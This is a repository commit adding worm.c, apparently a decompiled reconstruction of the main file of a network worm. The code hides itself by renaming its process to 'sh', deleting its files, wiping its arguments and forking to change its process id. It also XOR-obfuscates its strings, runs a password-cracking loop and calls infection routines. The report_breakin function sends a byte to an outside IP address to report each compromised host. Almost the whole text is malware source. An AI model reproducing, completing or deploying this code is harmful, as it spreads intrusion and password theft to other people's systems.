initial commit
This commit is contained in:
174
worm.c
Normal file
174
worm.c
Normal file
@@ -0,0 +1,174 @@
|
||||
/* dover */
|
||||
|
||||
#include "worm.h"
|
||||
#include <stdio.h>
|
||||
#include <signal.h>
|
||||
#include <strings.h>
|
||||
#include <sys/param.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/time.h>
|
||||
#include <sys/resource.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/fcntl.h>
|
||||
#include <sys/stat.h>
|
||||
#include <netinet/in.h>
|
||||
#include <net/if.h>
|
||||
#include <arpa/inet.h>
|
||||
|
||||
extern errno;
|
||||
extern char *malloc();
|
||||
|
||||
int pleasequit; /* See worm.h */
|
||||
int nobjects = 0;
|
||||
int nextw;
|
||||
char *null_auth;
|
||||
|
||||
object objects[69]; /* Don't know how many... */
|
||||
|
||||
object *getobjectbyname();
|
||||
|
||||
char *XS();
|
||||
|
||||
main(argc, argv) /* 0x20a0 */
|
||||
int argc;
|
||||
char **argv;
|
||||
{
|
||||
int i, l8, pid_arg, j, cur_arg, unused;
|
||||
long key; /* -28(fp) */
|
||||
struct rlimit rl;
|
||||
|
||||
l8 = 0; /* Unused */
|
||||
|
||||
strcpy(argv[0], XS("sh")); /* <env+52> */
|
||||
time(&key);
|
||||
srandom(key);
|
||||
rl.rlim_cur = 0;
|
||||
rl.rlim_max = 0;
|
||||
if (setrlimit(RLIMIT_CORE, &rl))
|
||||
;
|
||||
signal(SIGPIPE, SIG_IGN);
|
||||
pid_arg = 0;
|
||||
cur_arg = 1;
|
||||
if (argc > 2 &&
|
||||
strcmp(argv[cur_arg], XS("-p")) == 0) { /* env55 == "-p" */
|
||||
pid_arg = atoi(argv[2]);
|
||||
cur_arg += 2;
|
||||
}
|
||||
for(i = cur_arg; i < argc; i++) { /* otherwise <main+286> */
|
||||
if (loadobject(argv[i]) == 0)
|
||||
exit(1);
|
||||
if (pid_arg)
|
||||
unlink(argv[i]);
|
||||
}
|
||||
if ((nobjects < 1) || (getobjectbyname(XS("l1.c")) == NULL))
|
||||
exit(1);
|
||||
if (pid_arg) {
|
||||
for(i = 0; i < 32; i++)
|
||||
close(i);
|
||||
unlink(argv[0]);
|
||||
unlink(XS("sh")); /* <env+63> */
|
||||
unlink(XS("/tmp/.dumb")); /* <env+66>"/tmp/.dumb"
|
||||
*/
|
||||
}
|
||||
|
||||
for (i = 1; i < argc; i++)
|
||||
for (j = 0; argv[i][j]; j++)
|
||||
argv[i][j] = '\0';
|
||||
if (if_init() == 0)
|
||||
exit(1);
|
||||
if (pid_arg) { /* main+600 */
|
||||
if (pid_arg == getpgrp(getpid()))
|
||||
setpgrp(getpid(), getpid());
|
||||
kill(pid_arg, 9);
|
||||
}
|
||||
mainloop();
|
||||
}
|
||||
|
||||
static mainloop() /* 0x2302 */
|
||||
{
|
||||
long key, time1, time0;
|
||||
|
||||
time(&key);
|
||||
srandom(key);
|
||||
time0 = key;
|
||||
if (hg() == 0 && hl() == 0)
|
||||
ha();
|
||||
checkother();
|
||||
report_breakin();
|
||||
cracksome();
|
||||
other_sleep(30);
|
||||
while (1) {
|
||||
/* Crack some passwords */
|
||||
cracksome();
|
||||
/* Change my process id */
|
||||
if (fork() > 0)
|
||||
exit(0);
|
||||
if (hg() == 0 && hi() == 0 && ha() == 0)
|
||||
hl();
|
||||
other_sleep(120);
|
||||
time(&time1);
|
||||
if (time1 - time0 >= 60*60*12)
|
||||
h_clean();
|
||||
if (pleasequit && nextw > 0)
|
||||
exit(0);
|
||||
}
|
||||
}
|
||||
|
||||
static trans_cnt;
|
||||
static char trans_buf[NCARGS];
|
||||
|
||||
char *XS(str1) /* 0x23fc */
|
||||
char *str1;
|
||||
{
|
||||
int i, len;
|
||||
char *newstr;
|
||||
#ifndef ENCYPHERED_STRINGS
|
||||
return str1;
|
||||
#else
|
||||
len = strlen(str1);
|
||||
if (len + 1 > NCARGS - trans_cnt)
|
||||
trans_cnt = 0;
|
||||
newstr = &trans_buf[trans_cnt];
|
||||
trans_cnt += 1 + len;
|
||||
for (i = 0; str1[i]; i++)
|
||||
newstr[i] = str1[i]^0x81;
|
||||
newstr[i] = '\0';
|
||||
return newstr;
|
||||
#endif
|
||||
}
|
||||
|
||||
/* This report a sucessful breakin by sending a single byte to "128.32.137.13"
|
||||
* (whoever that is). */
|
||||
|
||||
static report_breakin(arg1, arg2) /* 0x2494 */
|
||||
{
|
||||
int s;
|
||||
struct sockaddr_in sin;
|
||||
char msg;
|
||||
|
||||
if (7 != random() % 15)
|
||||
return;
|
||||
|
||||
bzero(&sin, sizeof(sin));
|
||||
sin.sin_family = AF_INET;
|
||||
sin.sin_port = REPORT_PORT;
|
||||
sin.sin_addr.s_addr = inet_addr(XS("128.32.137.13"));
|
||||
/* <env+77>"128.32.137.13" */
|
||||
|
||||
s = socket(AF_INET, SOCK_STREAM, 0);
|
||||
if (s < 0)
|
||||
return;
|
||||
if (sendto(s, &msg, 1, 0, &sin, sizeof(sin)))
|
||||
;
|
||||
close(s);
|
||||
}
|
||||
|
||||
/* End of first file in the original source.
|
||||
* (Indicated by extra zero word in text area.) */
|
||||
|
||||
/*
|
||||
* Local variables:
|
||||
* compile-command: "make"
|
||||
* comment-column: 48
|
||||
* End:
|
||||
*/
|
||||
Reference in New Issue
Block a user